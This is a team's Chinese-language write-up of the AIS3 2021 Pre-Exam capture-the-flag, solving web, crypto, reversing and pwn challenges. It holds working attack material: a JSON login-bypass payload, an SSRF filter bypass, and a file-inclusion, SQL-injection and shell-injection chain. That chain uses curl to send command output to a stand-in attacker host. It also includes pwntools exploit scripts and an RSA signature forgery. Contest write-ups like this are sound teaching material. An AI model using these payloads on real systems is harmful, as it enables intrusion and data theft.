---
# System prepended metadata

title: AIS3 2021 Pre-Exam Write-up

---

# AIS3 2021 Pre-Exam Write-up
* Team name: mecn

### ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ
`Business logic vulnerability`
`http://quiz.ais3.org:8002/`
`Server: nginx/1.17.10`

網站提供了 Flask 的程式碼，其登入認證機制有下列漏洞可以利用：
1. Python 的 `json.load()` 遇到同名屬性時，後出現者會覆蓋前出現者
2. `json.load()` 會將 `null` 解讀為 `None`
3. `dict` 的 `get()` method 在 key 不存在時會回傳 `None`
```python
username = 'nobody'
password = '", "password": null, "showflag": true, "dummy":"'
# AIS3{/r/badUIbattles?!?!}
```

### HaaS
`SSRF`
`http://quiz.ais3.org:7122/`
`Server: Werkzeug/2.0.0 Python/3.9.4`

如果`url`回應的 HTTP Status Code(`actual`) 等於POST的`status`參數 (`expected`)，
HaaS 只會簡單回應`"Alive"`；
如果`actual`不等於`expected`，
HaaS 則會在 JSON 中附上`detail`並將 response 放在`text`。

`localhost`和`127.0.0.1`都被列在黑名單中，但`127.1.2.3`等等就沒被擋掉。
`status`在HTML裡是hidden input，可以用Web Developer Tool將其改成`200`以外的值。

POST Entity Body: `url=http%3A%2F%2F127.0.0.2%2F&status=300`
`AIS3{V3rY_v3rY_V3ry_345Y_55rF}`

### 【5/22 重要公告】
`Injection`
`http://quiz.ais3.org:8001/`
`Server: Apache/2.4.38 (Debian)`

觀察 API 網址，發現`module`參數中有斜線`/`。嘗試不同網址，推測是`include`另一個檔案：
```
http://quiz.ais3.org:8001/?module=./modules/api
http://quiz.ais3.org:8001/?module=modules/../modules/api
http://quiz.ais3.org:8001/?module=/var/www/html/modules/api
http://quiz.ais3.org:8001/index.php?module=file:///var/www/html/modules/api
http://quiz.ais3.org:8001/?module=index (500)
http://quiz.ais3.org:8001/modules/ (403)
http://quiz.ais3.org:8001/modules/api.php (500)
```
參考 [Exploiting PHP File Inclusion](https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/)，可以利用`require`讀取任意PHP檔的Source Code：
```
http://quiz.ais3.org:8001/index.php?module=
                    php://filter/convert.base64-encode/resource=modules/api
```
閱讀 Source Code，發現`modules/api.php`中有 SQL Indection 與 Shell Injection 可以利用：
```php
$data = $db->querySingle("SELECT name, host, port FROM challenges
                          WHERE id=${_GET['id']}", true);
$host = str_replace(' ', '', $data['host']);
$port = (int) $data['port'];
$data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"),
                        "succeeded") !== FALSE;
echo json_encode($data);
```
可以用 SQL 的`UNION SELECT`來覆寫`$data['host']`與`$data['port']`：
```
id=9 UNION SELECT 'WCM','quiz.ais3.org',8001
http://quiz.ais3.org:8001/index.php?module=modules/api&id=
  9%20UNION%20SELECT%20%27WCM%27,%27quiz.ais3.org%27,8001
```
Shell裡`${IFS}`的預設值是空白字元，可以用來繞過`str_replace()`，執行任意指令：
```
http://quiz.ais3.org:8001/index.php?module=modules/api&id=
  9%20UNION%20SELECT%20%27WCM%27,%22
    quiz.ais3.org%27\${IFS}8001;echo${IFS}%27succeeded
  %22,8001
```
用`curl`將`ls / -a`的結果發送到自己架設的 HTTP Server 上：
```
http://quiz.ais3.org:8001/index.php?module=modules/api&id=
  9%20UNION%20SELECT%20%27WCM%27,%22
    quiz.ais3.org%27${IFS}8001;
    curl${IFS}http://attackerserver.example/?
      `ls${IFS}/${IFS}-a|base64${IFS}-w${IFS}0`;
    echo${IFS}%27succeeded
  %22,8001
```
找到檔案`flag_81c015863174cd0c14034cc60767c7f5`，`cat`其內容：
```
http://quiz.ais3.org:8001/index.php?module=modules/api&id=
  9%20UNION%20SELECT%20%27WCM%27,%22
    quiz.ais3.org%27${IFS}8001;
    curl${IFS}http://attackerserver.example/?
      `cat${IFS}/flag_81c015863174cd0c14034cc60767c7f5|base64${IFS}-w${IFS}0`;
    echo${IFS}%27succeeded
  %22,8001

QUlTM3tvMWRfc2tldzFfdzNiX3RyMWNrc19jbzExZWN0MTBuXzpEfQo=
AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}
```

### Microchip
`microchip.cpp`是套用`python.h`後以 Python 語法撰寫的程式。
移除行尾的`){`和`;}`，並將`꞉`(U+A789) 取代為`:` (U+003A) 後，即為 Python Script。

`track()`是每4字元為一個 Block、附 Padding 的 Vigenère cipher。
已知第一個 Block 的明文為`AIS3`，則可直接回推出`keys`。
```python
def decrypt(plain, cipher):
    keys = list()
    keys.append((ord(cipher[3]) - ord(plain[0]) + 96) % 96)
    keys.append((ord(cipher[2]) - ord(plain[1]) + 96) % 96)
    keys.append((ord(cipher[1]) - ord(plain[2]) + 96) % 96)
    keys.append((ord(cipher[0]) - ord(plain[3]) + 96) % 96)

    id = 0
    for i in range(4) :
        id *= 96
        id += keys[3-i]
    print("key =", id) # id == 9653253

    result = ""
    for i in range(0, len(cipher), 4):
        nums = list()
        for j in range(4) :
            num = ord(cipher[i + (3-j)]) - 32
            num = (num - keys[j] + 96) % 96
            nums.append(num + 32)
        result += chr(nums[0])
        result += chr(nums[1])
        result += chr(nums[2])
        result += chr(nums[3])
    result = result[:-int(result[-1])]
    return result

golden = "=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu"
print("flag is:", decrypt("AIS3", golden))
# AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}
```

### ReSident evil villAge
用戶可以對`bytes_to_long(b'Ethan Winters')'`以外、小於`n`的任意明文簽章。
利用 $a^d\times b^d=(a\times b)^d\pmod{n}$ 的性質，
將合數`bytes_to_long(b'Ethan Winters')'`作因式分解，各自簽章後再相乘起來，
即可得到`Ethan Winters`的簽章。
```python
from pwn import *
from Crypto.Util.number import *
from sympy.ntheory import factorint
from binascii import hexlify

p = remote('quiz.ais3.org', 42069)
p.recvuntil('n = ')
n = int(p.recvline(keepends=False).decode())
p.recvuntil('e = ')
e = int(p.recvline(keepends=False).decode())
p.recvuntil('3) exit\n')

golden = b'Ethan Winters'
factors = factorint(bytes_to_long(golden))
# 5502769663009776377079720669811 == 163 * 33759323085949548325642458097

sigs = {}
for factor in factors.keys():
    p.sendline('1')
    p.recvuntil('Name (in hex): ')
    p.sendline(hexlify(long_to_bytes(factor)))
    p.recvuntil('Signature: ')
    sigs[factor] = int(p.recvline(keepends=False).decode())
    p.recvuntil('3) exit\n')

sig = 1
for factor in factors.items():
    for _ in range(factor[1]):
        sig *= sigs[factor[0]]
sig %= n
print(sig)

p.sendline('2')
p.recvuntil('Signature: ')
p.sendline(str(sig))
print(p.recvline().decode())
p.recvuntil('3) exit\n')

p.sendline('3')
p.close()

# AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}
```

### Republic of South Africa
將`keygen()`的參數`digits`改小為`7`，
發現碰撞模擬的結果`count`會精確等於`3141592`，是圓周率取`7`位數字並無條件捨去。
猜測執行`keygen(153)`時，`count`會精確等於圓周率取`153`位數字並無條件捨去。

知道`count == p + q`及`n == p * q`，便可以解`q - p = (count**2-n*4) ** 0.5`。
```python
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import gmpy2
gmpy2.get_context().precision = 1024

def keygen(digits):
  count = 3141592653589793238462643383279502884197169399375105820974944592
          3078164062862089986280348253421170679821480865132823066470938446
          0955058223172535940812848
  assert(10**(digits-1) <= count < 10**digits)
  n = 2366227031150360252921146262866397337765103505522133718654765966
      6520360329842954292759496973737109678655075242892199643594552737
      0983933085995930568283937733276398096445706184727813385858025149
      3981238799952316460602566237930014315910323903986283315203419553
      5186138249963826772564309026532268561022599227047

  print('Lbound', count//3)
  print('Rbound', count//2)
  q_p = int(gmpy2.exp(gmpy2.log(count**2-n*4)/2))
  assert(q_p**2 == count**2-n*4)
  q = (count + q_p) // 2
  p = count - q
  assert(isPrime(p) and isPrime(q) and p*q == n)
  return p, q

p, q = keygen(153)
n = p*q
e = 65537
d = inverse(e, (p-1)*(q-1))
c = 1145861542753625269806564358670685051505508043234389381839861001
    0478579108516179388166781637371605857508073447120074461777733767
    8243306626103301211742032472728606279221717932348186037287932938
    4771327804999605875452715915825108399593360033548239402409566641
    1743953262490304176144151437205651312338816540536
print('m =', long_to_bytes(pow(c, d, n)).decode())
# AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}
```

### Microchart
`RNG`的 initial state 即為 flag，`recurrence`是未知的 64 Bytes 參數。
`get_byte()`的輸出是`state`與`recurrence`的內積`mod 256`，也是`state`的下一個`byte`。
亦即一個 random sequence 的前 64 bytes 正是產生第 65 個 byte 時的`state`。

可以解線性方程，從 random sequence 反推`recurrence`：

$$\begin{bmatrix}
s_0&s_1&...&s_{63}\\s_1&s_2&...&s_{64}\\
\vdots&\vdots&\ddots&\vdots\\s_{1553}&s_{1554}&...&s_{1616}
\end{bmatrix}\begin{bmatrix}
r_0\\r_1\\\vdots\\r_{63}\\
\end{bmatrix}=\begin{bmatrix}
s_{64}\\s_{65}\\\vdots\\s_{1617}\\
\end{bmatrix}\pmod{256}$$

其中一種可能的策略是以 $x=A^{-1}b$ 解 $Ax=b$。
`numpy.linalg.inv()`可以快速解64階方陣的 inverse，卻不是 modular inverse。
`sympy.Matrix().inv_mod()`能解64階方陣的 modular inverse，卻不能在合理時間內解出。

因此改實做輾轉相除法與高斯消去法，從 random sequence 中取 200 條等式解`recurrence`：
```python
input_file = open('input.txt', 'r')
data_file = open('data.txt', 'r', newline='\r\n')
output_file = open('microchart.osu', 'r')

input_file.readline(); input_file.readline() # bpm offset
notes_lines = output_file.readlines()[len(data_file.readlines()):]
rand_seq = list(map(lambda line: int(line.split(',')[0]) // 2, notes_lines))
pool = list(map(lambda i: rand_seq[i:i+65], list(range(len(rand_seq)-65))))
pool = pool[:200]

def euclidean(A, B, t):
    assert 0 <= t < len(A) == len(B)
    while A[t]>0 and B[t]>0:
        if A[t] < B[t]:
            C, B = B, A; A = C
        q = A[t] // B[t]
        for i in range(len(A)):
            A[i] = (A[i] - q * B[i]) % 256
    if A[t] == 0:
        C, B = B, A; A = C
    return A, B

for t in range(64):
    for i in range(len(pool)):
        if sum(pool[i][:t]) != 0: continue
        print(t, i, end=" ", flush=True)
        for j in range(i+1, len(pool)):
            if sum(pool[j][:t]) != 0 or sum(pool[j]) == 0: continue
            pool[i], pool[j] = euclidean(pool[i], pool[j], t)
    print()

pool = list(filter(lambda x: sum(x)>0, pool))
assert(len(pool) == 64)

for t in range(63, -1, -1):
    i = len(pool)-64+t
    assert(sum(pool[i][:t]) == 0 and pool[i][t] == 1)
    for j in range(i-1, len(pool)-1-64, -1):
        q = pool[j][t]
        for k in range(len(pool[j])):
            pool[j][k] = (pool[j][k] - q * pool[i][k]) % 256

rec = list(map(lambda x: x[64], pool))
assert(rec[0] % 2 == 1)
```

只要 $gcd(r_0,256)=1$，就可以從`state`逆推回 flag：
$$
s_0 = r_0^{-1}(s_{64}-s_{63}r_{63}-s_{62}r_{62}-...-s_1r_1)\pmod{256}
$$

```python
from Crypto.Util.number import inverse

rec = \
[73, 172, 73, 31,  88, 236, 228, 92, 47, 98, 103, 55, 88, 107, 199, 30,
 81, 113, 96, 13, 240, 75, 148, 3, 38, 223, 191, 236, 94, 32, 200, 143,
 59, 68, 83, 158, 184, 142, 30, 21, 32, 85, 104, 112, 91, 89, 112, 209,
 174, 245, 152, 237, 118, 132, 210, 113, 168, 128, 80, 65, 68, 33, 92, 91]

def chk65(L):
    global rec
    assert(len(L) == 65)
    byte = 0
    for i in range(64):
        byte = (byte + L[i] * rec[i]) % 256
    assert(byte == L[64])

for t in range(len(rand_seq)-65):
    chk65(rand_seq[t:t+65])

state = rand_seq[0:64]
for _ in range(64):
    byte = state[63]
    for i in range(63):
        byte = (byte - state[i] * rec[i+1]) % 256
    state = [byte * inverse(rec[0],256) % 256] + state[:63]
print(''.join(map(chr,state)))
# AIS3{nooo_you_cant_just_break_my_microchip!_haha_math_goes_brrr}
```

### Microchess (Solved After End of Exam)
`digest()`的漏洞是直接把最後的`state`當作 hash 回傳，
因此可以在`message`的後方再接上任意數量的 block。

手動遊玩遊戲讓`game_str`的長度變成8的倍數(例如`1,2,8,11`或`10,18,24`)，
再在後方接上`,1`改成玩家必勝遊戲。
```python
import myhash
hash = myhash.Hash()

game_str, digest = input().split(':')
assert(len(game_str) % 8 == 0 and len(digest) == 16)
hash.secret = int(digest, 16)
print(game_str+',1:' + hash.hexdigest(b',1\x00\x00\x00\x00\x00\x00'))
# AIS3{1._e4_e5_2._Qh5_Ke7_3._Qxe5#_1-0}
```

### Piano
在 Windows 使用`ildsam`反組譯`piano.dll`，得到 .NET中繼語言(IL)。
輸出 flag 的邏輯可以用下列 Python 程式碼表示：
```python
class Piano():
    def __init__(self):
        self.buttons = ['C', 'D', 'E', 'F', 'G', 'A', 'B',
            'CSharp', 'DSharp', 'FSharp', 'GSharp', 'ASharp']
        self.notes = [] # 7,7,10,10,11,11,10,9,9,3,3,8,8,7
    def onClickHandler(self, e):
        V_0 = e
        self.notes.append(self.buttons.index(V_0))
        if len(self.notes) != 14: return
        if self.isValid():
            print(self.nya())
        self.notes.pop()
    def isValid(self):
        V_0 = [14,17,20,21,22,21,19,18,12, 6,11,16,15,14]
        V_1 = [ 0,-3, 0,-1, 0, 1, 1, 0, 6, 0,-5, 0, 1, 0]
        V_2 = 0
        while V_2 < 14:
            if self.notes[V_2] + self.notes[(V_2+1)%14] != V_0[V_2]:
                return False
            if self.notes[V_2] - self.notes[(V_2+1)%14] != V_1[V_2]:
                return False
            V_2 = V_2 + 1
        return True
    def nya(self):
        V_0 = [70,78,89,57,112,60,125,96,103,104,50,109,87,115,112,54,
                100,97,103,56,85,101,56,119,119,100,59,88,50,48,62,120,
                84,58,100,86,74,92,54,96,60,117,119,122]
        V_1 = []
        V_2 = 0
        while V_2 < len(V_0):
            V_1.append(chr(V_0[V_2] ^ self.notes[V_2%len(self.notes)]))
            V_2 = V_2 + 1
        return ''.join(V_1)
piano = Piano()
for btn in ['CSharp','CSharp','GSharp','GSharp','ASharp','ASharp','GSharp',
    'FSharp','FSharp','F','F','DSharp','DSharp','CSharp']:
    piano.onClickHandler(btn)
# AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}
```

### 🐰 Peekora 🥒
使用`pickletools`反組譯`flag_checker.pkl`。
```python
import pickletools

with open('flag_checker.pkl', 'rb') as f:
    peekora = f.read()
    pickletools.dis(peekora, indentlevel=2, annotate=1)
    f.close()
```
手動將其還原回Python Script。
```python
m0 = input('FLAG: ')
m1 = getattr
m2 = m1([exit, str], '__getitem__')

m2(m1(m0, 'startswith')('AIS3{'))()
m2(m1(m0, 'endswith')('}'))()
m2(m1(m1(m0, '__getitem__')(6), '__eq__')('A'))()
m2(m1(m1(m0, '__getitem__')(9), '__eq__')('j'))()
m3 = m1(m0, '__getitem__')(9)
m2(m1(m1(m0, '__getitem__')(11), '__eq__')('p'))()
m2(m1(m1(m0, '__getitem__')(14), '__eq__')(m3))()
m4 = m1(m0, '__getitem__')(1)
m2(m1(m1(m0, '__getitem__')(5), '__eq__')('d'))()
m2(m1(m1(m0, '__getitem__')(10), '__eq__')('z'))()
m2(m1(m1(m0, '__getitem__')(12), '__eq__')('h'))()
m2(m1(m4, '__eq__')(m1(m0, '__getitem__')(13)))()
m2(m1(m1(m0, '__getitem__')(8), '__eq__')('w'))()
m2(m1(m1(m0, '__getitem__')(7), '__eq__')('m'))()

print('Correct!')
# AIS3{dAmwjzphIj}
```

### COLORS
`_0x3eb4`是個順序被打亂的大陣列，
`function(_0x496f79, _0x226742)`負責復原`_0x3eb4`的順序，
`_0x4ebd`,`_0x463eac`,`_0x1cd51f`,`_0x9fe181`,`_0x12b963`是從`_0x3eb4`中取值的函數。

將`_0x3eb4`中的字串、屬性、參數填回原位後，
發現`document['addEventListener']('keydown',_0x23e75c => {...})`
在接收到按鍵次序`↑ ↑ ↓ ↓ ← → ← → b a`後，會在`<body>`裡寫入一個`<div>`，
同時啟動往`document.getElementById('input')`輸入文字的功能。

`_0x1fdafa()`負責更新`document.getElementById('output')`的內容。
`_0xce93()`將`document.getElementById('input')`中的字串進行Base1024轉換，
並分拆成3位元的`c`、1位元的`r`、64取1的字元，透過`_0x9f530c()`轉換成`<span>`。

設計一個對應`_0xce93()`的 decoder，將起初畫面上的 "encoded" flag 解碼回 flag。
```javascript
const golden = [
    "40B","20g","30i","51J","606","01\\","30w","401",
    "30A","41j","40\\","411","30g","70u","30i","10k",
    "30l","407","60x","50i","50X","10K","10I","40h",
    "50X","00K","41i","51l","706","70f","40o","106",
    "505","70K","11n","518","707","41B","50-","118",
    "40w","31a","10r","41z","70K","30=","20=","10="
];

function outputDecode(output) {
    output = output
        .filter(item => item[2] !== '=')
        .map(item => (
                (parseInt(item[0], 10) << 6) +
                (parseInt(item[1], 10) << 9) +
            'AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}'
                .indexOf(item[2])
            )
            .toString(2)
            .padStart(10, '0')
        )
        .join('')
        .match(/(.{8})/g)
        .map(item => String.fromCharCode(parseInt(item, 2)))
        .join('');
    return output
}

console.log(outputDecode(golden))
// AIS3{base1024_15_c0l0RFuL_GAM3_CL3Ar_thIS_IS_y0Ur_FlaG!}
```

### Encrypted Lost Flag (Not Solved)
輸入字串會被轉換為6階方陣，與密文方陣相乘後，
期望得到字串`How do you inverse faster pow calc!!`。
矩陣乘法進行時，計算的結果還會被 diffuse：
```cpp
struct matrix {
    ll length;
    int* value;
};
matrix* ______Multipy(matrix *rdi, matrix *rsi) { // 0x1420
    matrix* rbp = rdi;
    matrix* r12 = rsi;
    const int ebx = di->length;
    matrix* r9 = Init______(ebx);
    if (ebx != 0) {
        int* r13 = r9->value;
        int* r11 = rbp->value;
        int* r10 = r12->value;
        for (int r8d = 0; r8d != ebx; r8d++) {
            for (int edi = 0; edi != ebx; edi++) {
                for (int ecx = 0; ecx != ebx; ecx++) {
                    int* rsi = (int*)&r13[r9->length * r8d + ecx];
                    int eax = r11[rbp->length * r8d + edi]
                            * r10[r12->length * edi + ecx] + *rsi;
                    int edx = (((ll)eax * (ll)0x7F807F81) >> 0x27)
                            - (eax >> 0x1F) + (eax << 0x08);
                    *rsi = eax - edx;
                }
            }
        }
    }
    return r9;
}
```

### Write Me
如果`addr`亂給會導致SIGSEGV；
就算`addr`給合法的地址，但`systemgot`的值已經在`gotplt.c:10`被洗掉了，無法拿到shell。
因此，必須把linker的地址`0x401050`寫回`0x404028`。
```python
from pwn import *

r = remote('quiz.ais3.org', 10102)
r.recvuntil('Address: ')
r.sendline(str(0x404028)) # 4210728
r.recvuntil("Value: ")
r.sendline(str(0x401050)) # 4198480
r.interactive()
# AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}
```

### Microcheese
遊戲選單的設計有bug，導致輸入`0`,`1`,`2`以外的選項可以略過自己的行動。
所以在第二回行動後反覆略過，直到電腦不得不恰留下一個pile從而必敗為止。
```
AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}
```

### Blind
`stdout`的 File Descriptor 被`close`了，可以呼叫`dup2(2, 1)`將`stderr`複製到 FD1。
[syscall(2) — Linux manual page](https://man7.org/linux/man-pages/man2/syscall.2.html)
查閱`<sys/syscall.h>`，得知`x86_64-linux-gnu`下`SYS_dup2`的值為`33`。
```python
from pwn import *

r = remote('quiz.ais3.org', 10101)
r.recvuntil('Input: [rax] [rdi] [rsi] [rdx]')
r.sendline('33 2 1 0') # syscall(SYS_dup2, 2, 1, 0);
print(r.recvuntil('}').decode())
r.close()
# AIS3{dupppppqqqqqub}
```

### [震撼彈] AIS3 官網疑遭駭！
觀察`release.pcap`中的封包，發現以下 Host 的存在：
```
10.153. 0.  1: DNS Server
10.153.11.112: Client
10.153.11.126: HTTP Server
```
在 Wireshark 中觀察 HTTP 封包。
`10.153.11.112`多次以`curl`存取`/index.php`，並以 Firefox 存取一次`/Index.php`：
```
10.153.11.126:8100

http.request_number && frame.number != 3149
GET /index.php?page=bHMgLg%3d HTTP/1.1

frame.number == 3149
GET /Index.php?page=%3DogLgMHb HTTP/1.1
Host: magic.ais3.org

frame.number == 3152
Index.php
index.php
```
`http://10.153.11.126:8100/`或`http://quiz.ais3.org:8100/`皆可連到一台空的`nginx`，
但 DNS record 中沒有`magic.ais3.org`，
因此必須自行在 HTTP header 中寫入 `Host: magic.ais3.org` 以連至其他 Server Block。

觀察發現`=ogLgMHb`的反轉`bHMgLgo=`是`ls .\n`的 Base64 編碼，
frame #3152 的 response 是`ls .\n`的 output。
執行指令，在根目錄下尋找 flag：
```
// "ls /\n"
GET /Index.php?page=%3D%3DwLgMHb HTTP/1.1
flag_c603222fc7a23ee4ae2d59c8eb2ba84d

// "cat /flag_c603222fc7a23ee4ae2d59c8eb2ba84d\n"
GET /Index.php?page=%3D%3DgCkRDOhJmMiVGOjlTNkJTZhRTZlNjMhdzYmJjMyMDM
    2M2XnFGbm9CI0F2Y HTTP/1.1
AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!}
```

### Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi
[[閒聊] 暮蟬悲鳴時 業 24](https://www.ptt.cc/bbs/C_Chat/M.1616086432.A.7EA.html)
每次連線都可以猜一次密碼。
密碼有13位數，只要輸錯一位就會馬上鎖起來，輸對了才能繼續輸入下一位數字。
最壞的情況下必須猜130次，可以手動猜或用pwntools自動猜。
```python
from pwn import *

password = ''
while len(password) < 13:
  for digit in range(10):
    p = process('TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org',
      shell=True,
      stdin=PTY)
    guess = f'{password}{digit}'
    p.send(guess)
    r = p.recvuntil('🔒LOCKED🔒', timeout=5)
    p.close()
    print(guess)
    if r == b'': # 如果鍵入密碼的5秒後仍未出現🔒LOCKED🔒
      password = guess
      break
print('password:', password) # 2025830455298
# AIS3{H1n4m1z4w4_Sh0k0gun}
```